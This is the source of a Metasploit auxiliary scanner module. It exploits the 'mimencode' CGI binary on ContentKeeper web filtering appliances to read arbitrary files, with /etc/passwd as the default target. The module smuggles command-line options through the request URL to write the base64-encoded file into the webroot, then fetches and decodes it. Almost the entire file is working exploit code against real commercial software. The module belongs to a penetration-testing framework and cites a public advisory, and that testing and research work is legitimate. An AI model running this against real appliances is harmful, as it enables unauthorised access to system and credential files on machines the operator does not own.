ContentKeeper Web Appliance mimencode File Access

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'ContentKeeper Web Appliance mimencode File Access',
      'Description' => %q{
        This module abuses the 'mimencode' binary present within
        ContentKeeper Web filtering appliances to retrieve arbitrary
        files outside of the webroot.
        },
      'References' => [
        [ 'OSVDB', '54551' ],
        [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
      ],
      'Author' => [ 'aushack' ],
      'License' => MSF_LICENSE)

    register_options(
      [
        OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
        OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
      ]
    )
  end

  def run_host(_ip)
    tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data in a hard-to-brute filename, just in case.

    print_status("Attempting to connect to #{rhost}:#{rport}")
    res = send_request_raw(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']
      }, 25
    )

    if (res && (res.code == 500))

      print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")

      file = send_request_raw(
        {
          'method' => 'GET',
          'uri' => '/' + tmpfile
        }, 25
      )

      if (file && (file.code == 200))
        print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
      elsif (file && file.code)
        print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
      end
    elsif (res && res.code)
      print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
    end
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  rescue ::Timeout::Error, ::Errno::EPIPE
  end
end